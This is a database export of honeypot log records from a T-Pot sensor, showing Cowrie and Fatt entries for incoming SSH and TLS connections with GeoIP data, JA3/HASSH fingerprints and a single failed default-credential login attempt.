23815	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:46.076436+03	2021-09-20 14:15:07.991471+03	{"_id": "xQbjAnwBvYTbRNuE9Q6b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:36584 (192.168.176.2:22) [session: 1b1c60619027]", "session": "1b1c60619027", "@version": "1", "protocol": "ssh", "src_port": 36584, "dest_port": 22, "timestamp": "2021-09-20T11:07:46.076436Z", "@timestamp": "2021-09-20T11:07:46.076Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23816	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:45.192313+03	2021-09-20 14:15:07.992472+03	{"_id": "zQbjAnwBvYTbRNuE9Q6c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34806, "dest_port": 443, "timestamp": "2021-09-20T11:07:45.192313", "@timestamp": "2021-09-20T11:07:45.192Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
23817	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:45.210253+03	2021-09-20 14:15:07.994471+03	{"_id": "zgbjAnwBvYTbRNuE9Q6c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": null, "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42976, "dest_port": 22, "timestamp": "2021-09-20T11:07:45.210253", "@timestamp": "2021-09-20T11:07:45.210Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23818	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:07:45.234347+03	2021-09-20 14:15:07.99547+03	{"_id": "zwbjAnwBvYTbRNuE9Q6c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34806, "timestamp": "2021-09-20T11:07:45.234347", "@timestamp": "2021-09-20T11:07:45.234Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
23819	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:45.438652+03	2021-09-20 14:15:07.99647+03	{"_id": "0AbjAnwBvYTbRNuE9Q6c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39124, "timestamp": "2021-09-20T11:07:45.438652", "@timestamp": "2021-09-20T11:07:45.438Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23820	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:45.703676+03	2021-09-20 14:15:07.997471+03	{"_id": "0QbjAnwBvYTbRNuE9Q6c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36046, "timestamp": "2021-09-20T11:07:45.703676", "@timestamp": "2021-09-20T11:07:45.703Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23821	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:45.729317+03	2021-09-20 14:15:07.998471+03	{"_id": "0gbjAnwBvYTbRNuE9Q6c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 39124, "dest_port": 22, "timestamp": "2021-09-20T11:07:45.729317", "@timestamp": "2021-09-20T11:07:45.729Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23822	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:45.979123+03	2021-09-20 14:15:08.00047+03	{"_id": "0wbjAnwBvYTbRNuE9Q6c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36046, "dest_port": 22, "timestamp": "2021-09-20T11:07:45.979123", "@timestamp": "2021-09-20T11:07:45.979Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23823	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:45.315772+03	2021-09-20 14:15:08.001471+03	{"_id": "1AbjAnwBvYTbRNuE9Q6c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5b1f43bb249e", "@version": "1", "duration": 2.8616676330566406, "timestamp": "2021-09-20T11:07:45.315772Z", "@timestamp": "2021-09-20T11:07:45.315Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23824	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:45.701565+03	2021-09-20 14:15:08.002472+03	{"_id": "1QbjAnwBvYTbRNuE9Q6c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1722db1c4cdd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:45.701565Z", "@timestamp": "2021-09-20T11:07:45.701Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23826	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:46.073393+03	2021-09-20 14:15:08.004471+03	{"_id": "1wbjAnwBvYTbRNuE9Q6c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [guest/admin] failed", "session": "3d9857d51089", "@version": "1", "password": "admin", "username": "guest", "timestamp": "2021-09-20T11:07:46.073393Z", "@timestamp": "2021-09-20T11:07:46.073Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
